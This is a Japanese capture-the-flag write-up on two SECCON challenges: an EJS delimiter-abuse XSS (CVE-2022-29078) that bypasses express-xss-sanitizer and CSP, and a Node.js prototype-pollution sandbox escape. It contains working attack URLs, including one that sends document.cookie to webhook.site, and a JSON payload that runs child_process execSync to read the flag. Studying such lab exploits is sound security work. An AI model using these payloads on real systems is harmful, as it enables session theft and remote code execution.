なぜ気になっていたかというと、これらのオプションを変更することができ、かつテンプレートとするファイルを指定できるのであれば、<%
や %>
を含まないファイルであっても無理やりテンプレートとして扱うことができるためだ。これはXSSに便利ではないかと考えていたが、その問題ではRCEが目的であったために深掘りをしていなかった。
ただ、EJSでは ejs.renderFile(filename, { openDelimiter: 'hoge', closeDelimiter: 'fuga' })
のように、第2引数から openDelimiter
や closeDelimiter
を指定しても有効でない。これらのオプションは本来第3引数から与えられるべきものであり、本来テンプレートに渡されるデータの入る第2引数から与えられて有効になるオプションは、一部でしかないためだ。第2引数からも指定できるオプションは _OPTS_PASSABLE_WITH_DATA_EXPRESS
に含まれるもの、すなわち _OPTS_PASSABLE_WITH_DATA
で定義されているものに cache
を加えた12個のみに限られる。
が、実はそうでもない。ejs.renderFile
では utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS)
のようにして、実際に適用されるオプションが入っている opts
という変数に、data
のうち _OPTS_PASSABLE_WITH_DATA_EXPRESS
に含まれているキーのみをコピーしてきている。しかしながら、その前を見ると utils.shallowCopy(opts, viewOpts)
と、data.settings['view options']
に入っているものを、特にフィルターなしに opts
へコピーしていることがわかる。これを使えば、_OPTS_PASSABLE_WITH_DATA_EXPRESS
に含まれていない openDelimiter
や closeDelimiter
も上書きできる。これは CVE-2022-29078
という「脆弱性」とされている*7。
EJSのドキュメントを見るとわかるけれども、<%=
や <%-
のように開始タグで openDelimiter
, delimiter
の後に =
や -
がないと、開始タグと終了タグの間にあるJSコードを評価した結果を出力してくれないという問題もある。つまり、<%= 7*7 %>
ならば 7*7
を評価した 49
をEJSは出力してくれるが、<% 7*7 %>
であれば 7*7
を評価してくれるものの、その結果を出力してくれない。ちなみに、<%=
では <
や >
といったHTMLにとって危険な文字をエスケープしてくれるが、<%-
ではエスケープせずに出力する。
これらの =
や -
といった文字はハードコーディングされており、オプションからは指定できない。つまり、JSコードとして妥当な文字列の直前に =
もしくは -
があり、これらを同じ文字列が囲んでいるパターンを見つけて、delimiter
, openDelimiter
, closeDelimiter
を調整することで攻撃に利用しなければならない。
次の bot
から持ってきたコード片を例として考える。1箇所 =
が存在しているが、その直前に (半角スペース)が存在している。JSとして妥当な
await
*8という文字列の後にちょうどまた がある。したがって、
delimiter
を に、
openDelimiter
を const page
に、closeDelimiter
を context.newPage();
にすることで、EJSからすると const page = await context.newPage();
が <%= await %>
相当であるように見えるわけだ。
const page = await context.newPage(); await page.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/", });
PowerPointで無理やり作った図がこんな感じ。EJSからはこう見えているというイメージだ。
試してみよう。上のコードを test.ejs
として保存した上で、これをテンプレートとして delimiter
, openDelimiter
, closeDelimiter
に細工したものを設定し、レンダリングするJSコードを用意する。
const ejs = require("ejs"); ejs.renderFile("test.ejs", { await: 123, delimiter: ' ', settings: { 'view options': { openDelimiter: 'const page', closeDelimiter: 'context.newPage();' } } }).then(console.log);
実行すると、ちゃんと await
が 123
に置き換えられていることがわかる。
$ node test.js 123 await page.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/", });
render.dist.js
からアクセスできる範囲内、つまり index.ejs
, render.dist.js
, render.js
の中から、このように無理やりテンプレートとして扱えるような箇所を見つけなければならない。見つけたとしてどのように使うかだけれども、レンダリングした際に次のような挙動を示すパーツが必要になる。わざわざ2.から1.を読み込むようにしているのは、CSPで default-src 'self'
が指定されており、これをバイパスする必要があるためだ。
- 実行すると
document.cookie
を外部に投げるようなJSコードを出力できる箇所 <script src=(1.のURL)></script>
のようにJSコードを実行するHTMLタグを出力できる箇所
まずは簡単な1.から探していく。こちらは簡単で、JSコードならば <
, >
, &
といったHTMLにとって危険な文字がエスケープされたとしても、バイパスできる手段がいくらでもある(あるいはそもそも必要ない)ので、適当に =
や -
を探して、前述の delimiter
に囲まれた部分がJSコードとして妥当であるかという条件に合っているか確認していけばよい。render.dist.js
はEJSがバンドルされているおかげで25KBほどあり、それっぽい箇所がたくさんある。適当に条件に合うこの箇所を選ぶ。
以下のようにオプションを指定することで <%= opts.client %>
相当のパーツに仕立て上げた。
delimiter
:openDelimiter
:var returnedFn
closeDelimiter
:? fn
インデントの個数からもわかるように、この箇所は様々なブロックや関数呼び出しの中にあり、この箇所が置換されてしまう、頑張って、置換されても全体がJSコードとして正しくなるよう辻褄を合わせる必要がある。VSCodeとにらめっこして対応するカッコを選んでいき、この箇所を }}}});alert(123);a({a(){a={a(){function a(){//
に置換させることでなんとかできた。次のパスとクエリパラメータでアクセスする。
/?filename=render.dist.js&delimiter=%20&settings[view%20options][openDelimiter]=var%20returnedFn&settings[view%20options][closeDelimiter]=%3f%20fn%20&opts[client]=}}}});alert(123);a({a(){a%3d{a(){function%20a(){//
出力されたJSコードをDevToolsのコンソールにコピペして実行すると、alertが表示された。うまくいっているようだ。
次はこのJSコードを読み込む script
タグを作り出す必要がある。非常に、非常に面倒なことに、前述の通り express-xss-sanitizer
によってユーザ入力がフィルターされていることを思い出されたい。たとえば <script>alert(123)</script>
のような文字列がクエリパラメータの値として指定されていれば、これは丸々削除されてまるで元々空文字列が入っていたように入力が書き換えられてしまうし、<
単体で投げても <
のように実体参照に変えられてしまう。不思議なことに最初から <
であった場合には、&
は &
に置換されず、そのまま <
のままであるというのは使えそうだが。
このような状況であるため、たとえば foo
というクエリパラメータに <script>alert(123)</script>
という値を設定した上で <%- foo %>
相当のことをさせたとしても、それはまったく意味がない。なんとかしてバイパスする必要があるということで、まずは <
と >
が自分の手で出力できなくとも script
要素によってJSコードを実行させるにはどうするか考えた。すでにある <
を活用するというアイデアが思い浮かぶ。次のようなコードを考える。
ここで delimiter
を 、
openDelimiter
を (b
、closeDelimiter
を + d
とすると、EJSからはこの中に <<%- c %>
相当のタグがあるように見える。そして c
に script
が入ると、いい感じに置換されて <script
というような形で script
の開始タグができあがる。
if (a < (b - c + d)) { … }
ただ、前述の通り <
や >
がそのまま使えない以上、終了タグが作れず、script
タグをそのまま使うのは難しい。ではどうするかというと、iframe
と srcdoc
の組み合わせだ。これならば <iframe srcdoc="<script>alert(123)</script>">
のように終了タグがなく中途半端であっても問題ない(>
はどうせ後ろの方で出現するだろうから、開始タグは勝手に閉じられる)し、また <
や >
が <
と >
に置換されてしまっていても、srcdoc
につっこんでしまえば問題ない。
さて、同じ要領で render.dist.js
から <
の出現する箇所をひとつずつ見ていき、いい感じの箇所を探す。残念ながら -
については条件に合う箇所が見つからなかった(見つけられなかった?)が、=
については見つかった。ここだ。ここで適切な delimiter
などを選ぶと、EJSからは <<%= list[i] %>
相当の箇所があるように見える。
次のパスやクエリパラメータでアクセスする。
/?filename=render.dist.js&list[]=iframe%20srcdoc%3dhoge&settings%5Bview+options%5D%5BopenDelimiter%5D=+list.length%3B+i%2B%2B%29+%7B%0A++++++++++var+p&settings%5Bview+options%5D%5BcloseDelimiter%5D=+++++++++if+%28typeof+from%5Bp%5D&delimiter=+&i=0
iframe
ができあがっており、勝ちを確信する。
しかしながら、すぐにダメであることに気づく。srcdoc
の中身を <script>
に変えてみたところ、次のように &
が &
に置換されてしまっていることに気づく。ア。<%=
がHTMLにとって危険な文字をエスケープすることを思い出し、なるほど、express-xss-sanitizer
は見逃してくれるけれども、EJS側で変えられてしまうのだと理解する。
エスケープされないパターンを探すも、見つけられなかった。=
や -
以外で、delimiter
に囲まれているJSコードを評価した結果を出力させる方法がないかも考える。実はEJSは次のようにレンダリング時にテンプレートをJSコードに変換しており、これにデータを与えて実行しHTMLを出力している。__append(escapeFn( await))
は <%= await %>
が置換されたものだ。ここで __append
は出力結果にその引数を結合する関数だ。render.dist.js
中に存在する __append
の呼び出し箇所が使えないかひとつひとつ見ていったものの、いずれも有用ではなかった。
var __line = 1 , __lines = "const page = await context.newPage();\r\nawait page.setCookie({\r\n name: \"FLAG\",\r\n value: FLAG,\r\n domain: APP_HOST,\r\n path: \"/\",\r\n});" , __filename = "test.ejs"; try { var __output = ""; function __append(s) { if (s !== undefined && s !== null) __output += s } with (locals || {}) { ; __append(escapeFn( await)) ; __append(";\r\nawait page.setCookie({\r\n name: \"FLAG\",\r\n value: FLAG,\r\n domain: APP_HOST,\r\n path: \"/\",\r\n});") ; __line = 7 } return __output; } catch (e) { rethrow(e, __lines, __filename, __line, escapeFn); }
こんな感じで悩んでいるうちに競技の終了時刻を迎えた。
惜しいところまでいっているという感覚があったが、詰め切れなかった。競技終了後にDiscordを眺めていると、同じように delimiter
, openDelimiter
, closeDelimiter
をいじりつつ、console.log(src)
という箇所を実行させてやればよいという解法をGinoahさんが共有されていた。ここで、テンプレートのレンダリング処理がWebサーバとは別のプロセスで実行されており、このプロセスの標準出力を受け取ってWebサーバはユーザにHTMLを返しているということを思い出す。最後に考えていた =
や -
を使う以外で出力させる方法だが、console.log
を使うというのは思いつかなかったし、そもそも node render.dist.js …
のように実行されていることが頭から抜けていた。
console.log(src)
があるのはここ。
次のようなオプションで、
delimiter
:openDelimiter
:if (opts.debug)
closeDelimiter
:{
次に相当するパーツに仕立て上げた。
<% { console.log(src); } if (opts.compileDebug && opts.filename) %>
後ろの if
が中途半端に見えるけれども、生成されるJSコードでは次のようにすぐ後ろに ;
が続くので合法だ。
; __line = 518 ; { console.log(src); } if (opts.compileDebug && opts.filename) ; __line = 521 ; __append("\n src = src + \"\\n//# sourceURL=\" + sanitizedFilename + \"\\n\";\n }\n try") ; __line = 524
次のパスやクエリパラメータでアクセスする。
/?src=neko&filename=render.dist.js&settings%5Bview+options%5D%5BopenDelimiter%5D=if+(opts.debug)&settings%5Bview+options%5D%5BcloseDelimiter%5D={&delimiter=+
ちゃんと neko
と表示された。
ただ、express-xss-sanitizer
のサニタイズをどう回避するかという問題がある。express-xss-sanitizer
はキー名はサニタイズしない(当然だ)ので、これは src[<script%20src=hoge></script>]=neko
のようなクエリパラメータにしてやると次のように出力されて回避できる。
{ '<script src=hoge></script>': 'neko' }
あとはやるだけなのだけれども、URLの生成が面倒になってきたのでそのためのPythonスクリプトを作成する。
import requests code = '/?filename=render.dist.js&delimiter=%20&settings[view%20options][openDelimiter]=var%20returnedFn&settings[view%20options][closeDelimiter]=%3f%20fn%20&opts[client]=}}}});alert(123);a({a(){a%3d{a(){function%20a(){//'.replace('[', '%5B').replace(']', '%5D') r = requests.get('http://localhost:8000', params={ 'filename': 'render.dist.js', 'settings[view options][openDelimiter]': 'if (opts.debug)', 'settings[view options][closeDelimiter]': '{', 'delimiter': ' ', f'src[<script src="{code}"></script>]': 'a' }) print('[text]', r.text) print('[url]', r.url)
実行して出力された以下のURLにアクセスするとalertが表示された。
http://localhost:8000/?filename=render.dist.js&settings%5Bview+options%5D%5BopenDelimiter%5D=if+%28opts.debug%29&settings%5Bview+options%5D%5BcloseDelimiter%5D=%7B&delimiter=+&src%5B%3Cscript+src%3D%22%2F%3Ffilename%3Drender.dist.js%26delimiter%3D%2520%26settings%255Bview%2520options%255D%255BopenDelimiter%255D%3Dvar%2520returnedFn%26settings%255Bview%2520options%255D%255BcloseDelimiter%255D%3D%253f%2520fn%2520%26opts%255Bclient%255D%3D%7D%7D%7D%7D%29%3Balert%28123%29%3Ba%28%7Ba%28%29%7Ba%253d%7Ba%28%29%7Bfunction%2520a%28%29%7B%2F%2F%22%3E%3C%2Fscript%3E%5D=a
実行するコードを alert(123)
から location.assign(`https://webhook.site/(省略)?${document.cookie}`)
に変える。出力された以下のURLを通報する。
http://web:3000/?filename=render.dist.js&settings%5Bview+options%5D%5BopenDelimiter%5D=if+%28opts.debug%29&settings%5Bview+options%5D%5BcloseDelimiter%5D=%7B&delimiter=+&src%5B%3Cscript+src%3D%22%2F%3Ffilename%3Drender.dist.js%26delimiter%3D%2520%26settings%255Bview%2520options%255D%255BopenDelimiter%255D%3Dvar%2520returnedFn%26settings%255Bview%2520options%255D%255BcloseDelimiter%255D%3D%253f%2520fn%2520%26opts%255Bclient%255D%3D%7D%7D%7D%7D%29%3Blocation.assign%28%60https%3A%2F%2Fwebhook.site%2F…%3F%24%7Bdocument.cookie%7D%60%29%3Ba%28%7Ba%28%29%7Ba%253d%7Ba%28%29%7Bfunction%2520a%28%29%7B%2F%2F%22%3E%3C%2Fscript%3E%5D=a
しばらく待つとbotがフラグを背負ってやってきた。
SECCON{RCE_is_po55ible_if_mitigation_4_does_not_exist}
[Sandbox 365] node-ppjail (5 solves)
Do you like Node better than Deno?
(問題サーバへの接続情報)
添付ファイル: node-ppjail.tar.gz
ソースコードを確認していく。Dockerfile
には次のような処理があり、ルートディレクトリにランダムなファイル名でフラグが存在していることがわかる。RCEが必要っぽい。
COPY flag.txt . RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt
index.ts
はシンプルなのでそのまま載せる。やっていることは単純で、target
というもとからある Object
に、ユーザが入力したJSONをパースした Object
をマージしているだけだ。Prototype PollutionでRCEに持ち込んでくださいということだろう。
Node.jsだし、--disable-proto
オプションも付いていないしで、__proto__
でPrototype Pollutionできそう。constructor.prototype
でもよし。set
の処理を見ると key in target
であるかチェックされており、すでに存在しているプロパティを上書きをしないよう気をつけている。target.hasOwnProperty(key)
ではないのが厄介で、Object.prototype
にも存在しないプロパティを生やしてくださいということになる。
import * as fs from "node:fs"; const CUSTOM_KEY = "__custom__"; const CUSTOM_TYPES = [ "Object", "String", "Boolean", "Array", "Function", "RegExp", ]; type Dict = Record<string, unknown>; type Custom = { [CUSTOM_KEY]: true; type: string; args: unknown[]; }; const isDict = (value: unknown): value is Dict => { return value === Object(value); }; const isCustom = (value: unknown): value is Custom => { return isDict(value) && !!value[CUSTOM_KEY]; }; const set = (target: unknown, key: string, value: unknown) => { if (!isDict(target)) return; if (key in target) return; target[key] = value; }; const merge = (target: unknown, input: Dict) => { if (!isDict(target)) return; for (const key of Object.keys(input)) { const value = input[key]; if (!isDict(value)) { set(target, key, value); } else if (Array.isArray(value)) { set(target, key, []); merge(target[key], value); } else if (!isCustom(value)) { set(target, key, {}); merge(target[key], value); } else { const { type, args } = value; if (CUSTOM_TYPES.includes(type)) { try { set(target, key, new globalThis[type](...args)); } catch {} } } } }; process.stdout.write("Input your JSON: "); const inputStr = (() => { const buf = new Uint8Array(1024); const n = fs.readSync(fs.openSync("/dev/stdin", "r"), buf); return new TextDecoder().decode(buf.slice(0, n)); })(); const target: Dict = { title: "node-ppjail", category: "sandbox", }; merge(target, JSON.parse(inputStr));
merge
は再帰的にマージをしていく処理でほぼ普通だけれども、以下の箇所が特殊だ。もしある Object
が __custom__
というキーを持っていた場合には、その Object
の type
というキーに対応する型について、args
というキーを引数としてインスタンスを作成する。ただし、このとき type
は Object
, String
, Boolean
, Array
, Function
, RegExp
のいずれかでなければならない。
const CUSTOM_KEY = "__custom__"; const CUSTOM_TYPES = [ "Object", "String", "Boolean", "Array", "Function", "RegExp", ]; // … const { type, args } = value; if (CUSTOM_TYPES.includes(type)) { try { set(target, key, new globalThis[type](...args)); } catch {} }
たとえば {"__custom__":1, "type": "Function", "args": ["console.log(123)"]}
のようにして function () { console.log(123) }
相当の関数が作れる。まず思いつくのは toString
や valueOf
にこういう関数を仕込むことだけれども、そのプロパティを持つ Object
をどうやって文字列化させるのかという問題がある。以下のように __custom__
の args
に __custom__
を仕込むことを考えたが、merge
の処理を読むと args
の各要素がたとえ __custom__
であったとしても、まったく触れられない(type
に対応するインスタンスが作成されない)ことに気づく。
{ "__custom__": 1, "type": "RegExp", "args": [{ "__custom__": 1, "type": "Function", "args": ["console.log(123)"] }] }
競技中は次のような感じで Array.prototype
とかをピンポイントでPrototype Pollutionできるなあと言ったり、
{ "a": { "constructor": { "prototype": { "b": [] } } }, "b": { "constructor": { "prototype": { "hoge": 456 } } } }
次の通り Array
, Function
, RegExp
は valueOf
を持たないことを使えないかなーと考えて、すぐに set
が target.hasOwnProperty(key)
でなく key in target
でチェックして上書きを防止しており、Object.prototype.valueOf
が存在しているために動かないことに気づいたりと悩んでいるうちに競技の終了時刻を迎えた。
[Object,String,Boolean,Array,Function,RegExp].map(x => { return x.prototype.hasOwnProperty('valueOf') }) // => [true, true, true, false, false, false]
競技終了後にDiscordを眺めていると、V8が提供するスタックトレースに関連する Error.prepareStackTrace
が使えるという情報をmaple3142さんが共有されていた。これは Error.prepareStackTrace
に関数を代入しておくと、例外が発生した際にスタックトレースの整形のために呼び出されるというものだ*9。こいつは起動時には次のように未定義で、このプロパティに関数を代入することで機能するという不思議な作りになっている。
> 'prepareStackTrace' in Error false > typeof Error.prepareStackTrace 'undefined'
Error.prepareStackTrace
への代入でなくPrototype Pollutionでも機能するのか確認する。
$ cat test.js Object.prototype.prepareStackTrace = () => { console.log(123); }; a.b.c;
実行すると、たしかに機能していることが確認できた*10。
$ node test.js 123 /tmp/tmpspace.ut9t4BiHXW/test.js:6 a.b.c; ^ [stack trace] Node.js v20.6.1
あとはやるだけ…ではない。Object.prototype.prepareStackTrace
に実行したい関数を仕込んでおき、適当な方法で例外を発生させるわけだが、以下のように __custom__
であるときのインスタンスの作成時にtry-catchで例外の発生が抑えられているのが厄介だ。いい感じにそれ以外の箇所で例外が発生するようにできないだろうか。
try { set(target, key, new globalThis[type](...args)); } catch {}
merge
が再帰関数であることを使って、再帰回数の限界を狙うとよさそうかと思ったけれども、const buf = new Uint8Array(1024)
とJSONのサイズに制限があるので厳しそう。う~んと悩んでmaple3142さんの解法をもう一度カンニングすると、Object.prototype.prepareStackTrace
を定義したあとに、今度は prepareStackTrace.caller
にアクセスして無理やりエラーを起こしていた。なるほどなあ。以下のようなJSONを投げつけてみる。
{ "constructor": { "prototype": { "prepareStackTrace": { "__custom__": true, "type": "Function", "args": ["'use strict'; console.log(123); return ''"] } } }, "prepareStackTrace": { "caller": { "a": "b" } } }
すると、ちゃんと console.log(123)
が実行されていることが確認できた。
$ nc localhost 1337 Input your JSON: {"constructor":{"prototype":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["'use strict'; console.log(123); return ''"]}}},"prepareStackTrace":{"caller":{"a":"b"}}} 123
あとは実行するコードを console.log(process.mainModule.require('child_process').execSync('cat /f*')+'');
に変えるだけだ。投げるとフラグが得られた。
$ nc node-ppjail.seccon.games 1337 Input your JSON: {"constructor":{"prototype":{"prepareStackTrace":{"__custom__":true,"type":"Function","args":["'use strict'; console.log(process.mainModule.require('child_process').execSync('cat /f*')+''); return ''"]}}},"prepareStackTrace":{"caller":{"a":"b"}}} SECCON{Deno_i5_an_anagr4m_0f_Node}
SECCON{Deno_i5_an_anagr4m_0f_Node}
*2:CyberMomoi
*3:このブログで「悔しい」や「くやしい」を検索すると結構な数の記事がヒットする。悔しいけどCTFをやめられないというか、悔しいからやめられないんだなあ
*4:cidを使うパターンをよく見かけるが、これはDOMPurifyがデフォルトで許可リストに入れているため。URLとJSコードのpolyglot(?)だ
*6:無限に出すと怒られてしまうので、alertの実行が1回きりになるよう調整している
*7:CODEGATE CTF 2023 Qualsのwriteupでも書いたけど、これって脆弱性なんですか?
*8:awaitは予約語であるが、このコンテキストでは識別子として使うことが許されるため文法上問題ない